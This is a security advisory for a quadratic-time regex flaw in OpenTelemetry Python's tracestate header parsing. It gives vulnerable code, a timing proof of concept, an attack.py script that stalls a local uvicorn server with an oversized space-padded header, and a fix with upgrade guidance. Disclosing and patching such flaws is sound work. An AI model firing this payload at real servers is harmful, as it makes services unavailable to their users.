GHSA-XCQ7-P3PF-P88H

Vulnerability from github – Published: 2026-10-22 16:22 – Updated: 2026-10-22 16:22
VLAI
Summary
OpenTelemetry Python: Unbounded tracestate parsing in opentelemetry-api
Details

Summary

TraceState.from_header splits the inbound W3C tracestate header with a regular expression that starts with an unbounded optional-whitespace run, and no length limit is applied first. A run of spaces or tabs that is not followed by a comma costs O(N²) CPU. A single unauthenticated request with a ~100 KB tracestate keeps the handling worker busy for ~6 s (spaces) to ~12 s (tabs); under an asyncio server it blocks every other connection for that time.

Affected component / version

  • Package: opentelemetry-api (pip) — opentelemetry/trace/span.py (TraceState.from_header), reached from opentelemetry/trace/propagation/tracecontext.py (TraceContextTextMapPropagator.extract).
  • Confirmed in main (5e8083e8) and in the v1.44.0 and v1.45.0 tags; the same pattern is present back to v1.0.0 (introduced by #1599, March 2021). Not exhaustively verified against every release in between.
  • Reachable with the default propagators (OTEL_PROPAGATORS defaults to tracecontext,baggage) from any server instrumentation that calls propagate.extract(), for example opentelemetry-instrumentation-asgi.

Details

  1. The header reaches the parser without any length check:
# opentelemetry-api/src/opentelemetry/trace/propagation/tracecontext.py:57
tracestate_headers = getter.get(carrier, self._TRACESTATE_HEADER_NAME)  # <-- attacker-controlled request header(s), any size
if tracestate_headers is None:
    tracestate = None
else:
    tracestate = TraceState.from_header(tracestate_headers)             # <-- no length check before parsing (line 61)
  1. The split pattern and the parser:
# opentelemetry-api/src/opentelemetry/trace/span.py:45
_TRACECONTEXT_MAXIMUM_TRACESTATE_KEYS = 32            # <-- only enforced later, in TraceState.__init__, after the split
_delimiter_pattern = re.compile(r"[ \t]*,[ \t]*")      # <-- (line 46) starts with an unbounded [ \t]*

# span.py:382
@classmethod
def from_header(cls, header_list: list[str]) -> TraceState:
    pairs = {}  # type: dict[str, str]
    for header in header_list:
        members: list[str] = re.split(_delimiter_pattern, header)   # <-- (line 400) VULNERABLE: O(N^2) on "a=b" + " " * N + "x"
        for member in members:
            if not member:
                continue
            match = _member_pattern.fullmatch(member)
            if not match:
                _logger.warning(                                    # <-- also logs the entire malformed member (up to the whole header)
                    "Member doesn't match the w3c identifiers format %s",
                    member,
                )
                return cls()
            ...

re.split tries the pattern at every offset. At each offset inside a whitespace run, [ \t]* consumes the rest of the run, finds no ,, backtracks and fails, then the engine moves one character forward and repeats. N characters × up to N steps each = O(N²). The 32-member limit never gets a chance to run because split has to finish first.

  1. The sibling propagator already has the missing guard:
# baggage/propagation/__init__.py:68
_MAX_HEADER_LENGTH = 8192
...
if len(header.encode()) > self._MAX_HEADER_LENGTH:   # <-- (line 93) rejected before any regex runs; tracestate has no equivalent
    _logger.warning(...)
    return context

A 16 KiB header costs ≈ 0.25 s and an 8 KiB header ≈ 0.07 s. Measured cost of extract() on one core (valid traceparent, tracestate: "a=b" + N spaces + "x"): the time quadruples each time N doubles (see the proof of concept). Roughly 0.06 s at 10,000 characters, 1 s at 40,000, 4 s at 80,000, 9 s at 100,000 (tabs are about 1.6× slower).

Whether a server lets such a header through (header-size limits, tested): gunicorn rejects ≥ 8190 bytes (response code 431); uvicorn --http h11 rejects above 16 KiB (400); waitress accepts up to 256 KiB (200 KB accepted, 300 KB rejected); uvicorn --http httptools — the default parser with uvicorn[standard] — accepted 300 KB, 1 MB, 5 MB and 20 MB tracestate headers.

Proof of concept

A. Show the quadratic cost (no server needed)

  1. Install the API: pip install opentelemetry-api (any version from 1.0 up to the current main is affected).
  2. Save as poc_tracestate.py:
import logging
import time

from opentelemetry.trace.propagation.tracecontext import TraceContextTextMapPropagator

# The library logs the whole malformed member at WARNING; silence it so the timings stay readable.
logging.disable(logging.CRITICAL)

TRACEPARENT = "00-0af7651916cd43dd8448eb211c80319c-b7ad6b7169203331-01"
propagator = TraceContextTextMapPropagator()

previous = None
for n in (10_000, 20_000, 40_000, 80_000):
    # N spaces after a valid member, no comma anywhere in the header
    carrier = {"traceparent": TRACEPARENT, "tracestate": "a=b" + " " * n + "x"}
    start = time.perf_counter()
    propagator.extract(carrier)
    elapsed = time.perf_counter() - start
    growth = f"x{elapsed / previous:.1f}" if previous else "-"
    print(f"{n:>7} characters  {elapsed:6.2f} s  growth when size doubles: {growth}")
    previous = elapsed
  1. Run python poc_tracestate.py.
  2. What to observe: the time grows by about ×4 every time the input size doubles (a linear parser would show ×2). Absolute numbers depend on the CPU; the growth factor does not. Our run:
  10000 characters    0.06 s  growth when size doubles: -
  20000 characters    0.26 s  growth when size doubles: x4.0
  40000 characters    1.04 s  growth when size doubles: x4.0
  80000 characters    4.13 s  growth when size doubles: x4.0

Replace " " with "\t" to see ≈1.6× longer.

B. Show that one request stalls a real server

This uses OpenTelemetryMiddleware from opentelemetry-instrumentation-asgi around a trivial ASGI app and the default uvicorn[standard] parser (httptools).

  1. Install: pip install opentelemetry-api opentelemetry-instrumentation-asgi "uvicorn[standard]".
  2. Save as app.py:
from opentelemetry.instrumentation.asgi import OpenTelemetryMiddleware


async def app(scope, receive, send):
    await send({"type": "http.response.start", "status": 200, "headers": [(b"content-type", b"text/plain")]})
    await send({"type": "http.response.body", "body": b"ok"})


app = OpenTelemetryMiddleware(app)
  1. Start the server in one terminal: uvicorn app:app --host 127.0.0.1 --port 8000 --http httptools
  2. Save as attack.py:
"""Send one oversized tracestate request and, while it is being handled,
measure how long an unrelated request to the same server has to wait."""
import socket
import sys
import threading
import time

HOST, PORT = "127.0.0.1", 8000
N = int(sys.argv[1]) if len(sys.argv) > 1 else 100_000
TRACEPARENT = "00-0af7651916cd43dd8448eb211c80319c-b7ad6b7169203331-01"


def get(path, extra=""):
    s = socket.create_connection((HOST, PORT), timeout=120)
    s.sendall(f"GET {path} HTTP/1.1\r\nHost: x\r\nConnection: close\r\n{extra}\r\n".encode())
    start, data = time.perf_counter(), b""
    while chunk := s.recv(65536):
        data += chunk
    return time.perf_counter() - start, data.split(b"\r\n")[0].decode()


result = {}
extra = f"traceparent: {TRACEPARENT}\r\ntracestate: a=b{' ' * N}x\r\n"
attacker = threading.Thread(target=lambda: result.update(a=get("/attack", extra)))
print("idle /ping:               %.3f s  %s" % get("/ping"))
attacker.start()
time.sleep(0.5)  # let the attack request reach the server first
print("/ping during the attack:  %.3f s  %s" % get("/ping"))
attacker.join()
print("attack request itself:    %.3f s  %s" % result["a"])
  1. In a second terminal run python attack.py 100000.
  2. What to observe: the idle /ping answers in milliseconds, but a /ping sent half a second after the attack request has to wait for the attack request to finish, even though it is a different, innocent request. Our run:
idle /ping:               0.000 s  HTTP/1.1 200 OK
/ping during the attack:  5.909 s  HTTP/1.1 200 OK     <-- unrelated request delayed ~6 s (event loop blocked)
attack request itself:    6.408 s  HTTP/1.1 200 OK
  1. Start the server with --http h11 instead and run the same command: the attack request is rejected immediately (400 Bad Request, h11 header cap) and /ping is not delayed. Our measurements for --http httptools: 30,000 spaces → 0.59 s; 100,000 spaces → 6.57 s with the concurrent /ping delayed 6.07 s; 100,000 tabs → 12.39 s with the concurrent /ping delayed 11.89 s.

Severity

Likelihood: Low. Any unauthenticated client can trigger it with one request on the default propagators, but only on servers that accept headers larger than roughly 16–30 KB.

Impact: Medium. One request of about 100 KB costs 6–12 s of server CPU and, under an asyncio server, stalls every other connection for that time; repeating it keeps the service unavailable.

Severity: Medium.

Suggested remediation

Replace the regex split with a plain split and strip; this removes the quadratic behaviour and is equivalent on valid input:

--- a/opentelemetry-api/src/opentelemetry/trace/span.py
+++ b/opentelemetry-api/src/opentelemetry/trace/span.py
@@ def from_header(cls, header_list: list[str]) -> TraceState:
         for header in header_list:
-            members: list[str] = re.split(_delimiter_pattern, header)
+            members: list[str] = [m.strip(" \t") for m in header.split(",")]

_delimiter_pattern (line 46) is then unused and can be removed. We also suggest rejecting a header longer than the W3C limit (512 characters for the list) before parsing, the way the baggage propagator does with _MAX_HEADER_LENGTH. On valid input the two forms return identical members (empty members preserved); the only behaviour change is that a header with leading whitespace is now accepted instead of producing an empty TraceState, which is more spec-compliant. Cost at N = 100,000 drops from ~9 s to ~5e-5 s.

Credit

Discovered and reported by SecDim Security Research secdim.com | @secdim | security@secdim.com


FROM MAINTAINERS

Summary

TraceState.from_header() in opentelemetry-api used a regular-expression-based operation whose processing time could grow disproportionately when parsing specially crafted inbound tracestate headers.

Because W3C Trace Context is enabled by default in OpenTelemetry Python, services accepting untrusted propagation headers could spend excessive CPU time processing a single request.

Impact

Services accepting untrusted inbound propagation headers may experience increased per-request CPU usage when processing malformed tracestate values. In synchronous servers, this may keep a worker occupied. In asynchronous servers, CPU-intensive parsing may delay other requests handled by the same event loop.

The practical impact depends on the HTTP server, HTTP parser, and any upstream request-header limits. Common servers and proxies may reject oversized headers before they reach the application, while custom carriers or deployments with increased header limits may accept substantially larger values.

Unlike optional propagation formats, W3C Trace Context is part of the default OpenTelemetry Python propagation configuration.

The impact is limited to availability. This issue does not expose or modify telemetry data and does not allow code execution.

Patches

Versions of opentelemetry-api up to and including 1.45.0 are affected.

Upgrade opentelemetry-api to version 1.45.1 or later.

Version 1.45.1 replaces the affected parsing operation with linear-time processing and discards combined tracestate headers longer than 8,192 characters.

Workarounds

Ensure HTTP header size limits are configured at the server or gateway level. Most Python HTTP servers enforce an 8 KiB header limit by default, which mitigates external attack vectors independently of this fix.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.45.0"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "opentelemetry-api"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.45.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-114603"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333",
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-22T16:22:07Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Summary\n`TraceState.from_header` splits the inbound W3C `tracestate` header with a regular expression that starts with an unbounded optional-whitespace run, and no length limit is applied first. A run of spaces or tabs that is not followed by a comma costs O(N\u00b2) CPU. A single unauthenticated request with a ~100 KB `tracestate` keeps the handling worker busy for ~6 s (spaces) to ~12 s (tabs); under an asyncio server it blocks every other connection for that time.\n\n## Affected component / version\n- Package: `opentelemetry-api` (pip) \u2014 `opentelemetry/trace/span.py` (`TraceState.from_header`), reached from `opentelemetry/trace/propagation/tracecontext.py` (`TraceContextTextMapPropagator.extract`).\n- Confirmed in `main` (5e8083e8) and in the v1.44.0 and v1.45.0 tags; the same pattern is present back to v1.0.0 (introduced by #1599, March 2021). Not exhaustively verified against every release in between.\n- Reachable with the default propagators (`OTEL_PROPAGATORS` defaults to `tracecontext,baggage`) from any server instrumentation that calls `propagate.extract()`, for example `opentelemetry-instrumentation-asgi`.\n\n## Details\n\n1. The header reaches the parser without any length check:\n\n```python\n# opentelemetry-api/src/opentelemetry/trace/propagation/tracecontext.py:57\ntracestate_headers = getter.get(carrier, self._TRACESTATE_HEADER_NAME)  # \u003c-- attacker-controlled request header(s), any size\nif tracestate_headers is None:\n    tracestate = None\nelse:\n    tracestate = TraceState.from_header(tracestate_headers)             # \u003c-- no length check before parsing (line 61)\n```\n\n2. The split pattern and the parser:\n```python\n# opentelemetry-api/src/opentelemetry/trace/span.py:45\n_TRACECONTEXT_MAXIMUM_TRACESTATE_KEYS = 32            # \u003c-- only enforced later, in TraceState.__init__, after the split\n_delimiter_pattern = re.compile(r\"[ \\t]*,[ \\t]*\")      # \u003c-- (line 46) starts with an unbounded [ \\t]*\n\n# span.py:382\n@classmethod\ndef from_header(cls, header_list: list[str]) -\u003e TraceState:\n    pairs = {}  # type: dict[str, str]\n    for header in header_list:\n        members: list[str] = re.split(_delimiter_pattern, header)   # \u003c-- (line 400) VULNERABLE: O(N^2) on \"a=b\" + \" \" * N + \"x\"\n        for member in members:\n            if not member:\n                continue\n            match = _member_pattern.fullmatch(member)\n            if not match:\n                _logger.warning(                                    # \u003c-- also logs the entire malformed member (up to the whole header)\n                    \"Member doesn\u0027t match the w3c identifiers format %s\",\n                    member,\n                )\n                return cls()\n            ...\n```\n\n`re.split` tries the pattern at every offset. At each offset inside a whitespace run, `[ \\t]*` consumes the rest of the run, finds no `,`, backtracks and fails, then the engine moves one character forward and repeats. N characters \u00d7 up to N steps each = O(N\u00b2). The 32-member limit never gets a chance to run because `split` has to finish first.\n\n3. The sibling propagator already has the missing guard:\n```python\n# baggage/propagation/__init__.py:68\n_MAX_HEADER_LENGTH = 8192\n...\nif len(header.encode()) \u003e self._MAX_HEADER_LENGTH:   # \u003c-- (line 93) rejected before any regex runs; tracestate has no equivalent\n    _logger.warning(...)\n    return context\n```\n\nA 16 KiB header costs \u2248 0.25 s and an 8 KiB header \u2248 0.07 s.\nMeasured cost of `extract()` on one core (valid `traceparent`, `tracestate: \"a=b\" + N spaces + \"x\"`): the time quadruples each time N doubles (see the proof of concept). Roughly 0.06 s at 10,000 characters, 1 s at 40,000, 4 s at 80,000, 9 s at 100,000 (tabs are about 1.6\u00d7 slower). \n\nWhether a server lets such a header through (header-size limits, tested): gunicorn rejects \u2265 8190 bytes (response code 431); `uvicorn --http h11` rejects above 16 KiB (400); waitress accepts up to 256 KiB (200 KB accepted, 300 KB rejected); `uvicorn --http httptools` \u2014 the default parser with `uvicorn[standard]` \u2014 accepted 300 KB, 1 MB, 5 MB and 20 MB `tracestate` headers.\n\n## Proof of concept\n\n### A. Show the quadratic cost (no server needed)\n\n1. Install the API: `pip install opentelemetry-api` (any version from 1.0 up to the current main is affected).\n2. Save as `poc_tracestate.py`:\n```python\nimport logging\nimport time\n\nfrom opentelemetry.trace.propagation.tracecontext import TraceContextTextMapPropagator\n\n# The library logs the whole malformed member at WARNING; silence it so the timings stay readable.\nlogging.disable(logging.CRITICAL)\n\nTRACEPARENT = \"00-0af7651916cd43dd8448eb211c80319c-b7ad6b7169203331-01\"\npropagator = TraceContextTextMapPropagator()\n\nprevious = None\nfor n in (10_000, 20_000, 40_000, 80_000):\n    # N spaces after a valid member, no comma anywhere in the header\n    carrier = {\"traceparent\": TRACEPARENT, \"tracestate\": \"a=b\" + \" \" * n + \"x\"}\n    start = time.perf_counter()\n    propagator.extract(carrier)\n    elapsed = time.perf_counter() - start\n    growth = f\"x{elapsed / previous:.1f}\" if previous else \"-\"\n    print(f\"{n:\u003e7} characters  {elapsed:6.2f} s  growth when size doubles: {growth}\")\n    previous = elapsed\n```\n3. Run `python poc_tracestate.py`.\n4. **What to observe:** the time grows by about **\u00d74 every time the input size doubles** (a linear parser would show \u00d72). Absolute numbers depend on the CPU; the growth factor does not. Our run:\n```\n  10000 characters    0.06 s  growth when size doubles: -\n  20000 characters    0.26 s  growth when size doubles: x4.0\n  40000 characters    1.04 s  growth when size doubles: x4.0\n  80000 characters    4.13 s  growth when size doubles: x4.0\n```\nReplace `\" \"` with `\"\\t\"` to see \u22481.6\u00d7 longer.\n\n### B. Show that one request stalls a real server\nThis uses `OpenTelemetryMiddleware` from `opentelemetry-instrumentation-asgi` around a trivial ASGI app and the default `uvicorn[standard]` parser (httptools).\n\n1. Install: `pip install opentelemetry-api opentelemetry-instrumentation-asgi \"uvicorn[standard]\"`.\n2. Save as `app.py`:\n```python\nfrom opentelemetry.instrumentation.asgi import OpenTelemetryMiddleware\n\n\nasync def app(scope, receive, send):\n    await send({\"type\": \"http.response.start\", \"status\": 200, \"headers\": [(b\"content-type\", b\"text/plain\")]})\n    await send({\"type\": \"http.response.body\", \"body\": b\"ok\"})\n\n\napp = OpenTelemetryMiddleware(app)\n```\n3. Start the server in one terminal: `uvicorn app:app --host 127.0.0.1 --port 8000 --http httptools`\n4. Save as `attack.py`:\n```python\n\"\"\"Send one oversized tracestate request and, while it is being handled,\nmeasure how long an unrelated request to the same server has to wait.\"\"\"\nimport socket\nimport sys\nimport threading\nimport time\n\nHOST, PORT = \"127.0.0.1\", 8000\nN = int(sys.argv[1]) if len(sys.argv) \u003e 1 else 100_000\nTRACEPARENT = \"00-0af7651916cd43dd8448eb211c80319c-b7ad6b7169203331-01\"\n\n\ndef get(path, extra=\"\"):\n    s = socket.create_connection((HOST, PORT), timeout=120)\n    s.sendall(f\"GET {path} HTTP/1.1\\r\\nHost: x\\r\\nConnection: close\\r\\n{extra}\\r\\n\".encode())\n    start, data = time.perf_counter(), b\"\"\n    while chunk := s.recv(65536):\n        data += chunk\n    return time.perf_counter() - start, data.split(b\"\\r\\n\")[0].decode()\n\n\nresult = {}\nextra = f\"traceparent: {TRACEPARENT}\\r\\ntracestate: a=b{\u0027 \u0027 * N}x\\r\\n\"\nattacker = threading.Thread(target=lambda: result.update(a=get(\"/attack\", extra)))\nprint(\"idle /ping:               %.3f s  %s\" % get(\"/ping\"))\nattacker.start()\ntime.sleep(0.5)  # let the attack request reach the server first\nprint(\"/ping during the attack:  %.3f s  %s\" % get(\"/ping\"))\nattacker.join()\nprint(\"attack request itself:    %.3f s  %s\" % result[\"a\"])\n```\n5. In a second terminal run `python attack.py 100000`.\n6. **What to observe:** the idle `/ping` answers in milliseconds, but a `/ping` sent half a second *after* the attack request has to wait for the attack request to finish, even though it is a different, innocent request. Our run:\n```\nidle /ping:               0.000 s  HTTP/1.1 200 OK\n/ping during the attack:  5.909 s  HTTP/1.1 200 OK     \u003c-- unrelated request delayed ~6 s (event loop blocked)\nattack request itself:    6.408 s  HTTP/1.1 200 OK\n```\n7. Start the server with `--http h11` instead and run the same command: the attack request is rejected immediately (`400 Bad Request`, h11 header cap) and `/ping` is not delayed. Our measurements for `--http httptools`: 30,000 spaces \u2192 0.59 s; 100,000 spaces \u2192 6.57 s with the concurrent `/ping` delayed 6.07 s; 100,000 tabs \u2192 12.39 s with the concurrent `/ping` delayed 11.89 s.\n\n## Severity\n**Likelihood: Low.** Any unauthenticated client can trigger it with one request on the default propagators, but only on servers that accept headers larger than roughly 16\u201330 KB.\n\n**Impact: Medium.** One request of about 100 KB costs 6\u201312 s of server CPU and, under an asyncio server, stalls every other connection for that time; repeating it keeps the service unavailable.\n\n**Severity: Medium.**\n\n## Suggested remediation\nReplace the regex split with a plain `split` and strip; this removes the quadratic behaviour and is equivalent on valid input:\n```diff\n--- a/opentelemetry-api/src/opentelemetry/trace/span.py\n+++ b/opentelemetry-api/src/opentelemetry/trace/span.py\n@@ def from_header(cls, header_list: list[str]) -\u003e TraceState:\n         for header in header_list:\n-            members: list[str] = re.split(_delimiter_pattern, header)\n+            members: list[str] = [m.strip(\" \\t\") for m in header.split(\",\")]\n```\n`_delimiter_pattern` (line 46) is then unused and can be removed. We also suggest rejecting a header longer than the W3C limit (512 characters for the list) before parsing, the way the baggage propagator does with `_MAX_HEADER_LENGTH`. On valid input the two forms return identical members (empty members preserved); the only behaviour change is that a header with leading whitespace is now accepted instead of producing an empty `TraceState`, which is more spec-compliant. Cost at N = 100,000 drops from ~9 s to ~5e-5 s.\n\n## Credit\n\nDiscovered and reported by SecDim Security Research\nsecdim.com | @secdim | security@secdim.com\n\n---\n\n**FROM MAINTAINERS**\n\n## Summary\n\n`TraceState.from_header()` in `opentelemetry-api` used a regular-expression-based operation whose processing time could grow disproportionately when parsing specially crafted inbound `tracestate` headers.\n\nBecause W3C Trace Context is enabled by default in OpenTelemetry Python, services accepting untrusted propagation headers could spend excessive CPU time processing a single request.\n\n## Impact\n\nServices accepting untrusted inbound propagation headers may experience increased per-request CPU usage when processing malformed `tracestate` values. In synchronous servers, this may keep a worker occupied. In asynchronous servers, CPU-intensive parsing may delay other requests handled by the same event loop.\n\nThe practical impact depends on the HTTP server, HTTP parser, and any upstream request-header limits. Common servers and proxies may reject oversized headers before they reach the application, while custom carriers or deployments with increased header limits may accept substantially larger values.\n\nUnlike optional propagation formats, W3C Trace Context is part of the default OpenTelemetry Python propagation configuration.\n\nThe impact is limited to availability. This issue does not expose or modify telemetry data and does not allow code execution.\n\n## Patches\n\nVersions of `opentelemetry-api` up to and including `1.45.0` are affected.\n\nUpgrade `opentelemetry-api` to version `1.45.1` or later.\n\nVersion `1.45.1` replaces the affected parsing operation with linear-time processing and discards combined `tracestate` headers longer than 8,192 characters.\n\n## Workarounds\n\nEnsure HTTP header size limits are configured at the server or gateway level. Most Python HTTP servers enforce an 8 KiB header limit by default, which mitigates external attack vectors independently of this fix.",
  "id": "GHSA-xcq7-p3pf-p88h",
  "modified": "2026-10-22T16:22:07Z",
  "published": "2026-10-22T16:22:07Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/open-telemetry/opentelemetry-python/security/advisories/GHSA-xcq7-p3pf-p88h"
    },
    {
      "type": "WEB",
      "url": "https://github.com/open-telemetry/opentelemetry-python/pull/5749"
    },
    {
      "type": "WEB",
      "url": "https://github.com/open-telemetry/opentelemetry-python/commit/d5224bf4ffdf2aee1b592ad238dcc32ca957f26b"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/open-telemetry/opentelemetry-python"
    },
    {
      "type": "WEB",
      "url": "https://github.com/open-telemetry/opentelemetry-python/blob/main/CHANGELOG.md#version-1451066b1-2026-10-06"
    },
    {
      "type": "WEB",
      "url": "https://github.com/open-telemetry/opentelemetry-python/releases/tag/v1.45.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "OpenTelemetry Python: Unbounded tracestate parsing in opentelemetry-api"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline

Sightings and recorded dates, grouped by day · UTC

JSON
Events included in the timeline

Loading timeline…


    Loading…

    Loading…

    Loading…

    Related by attack behaviour

    Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.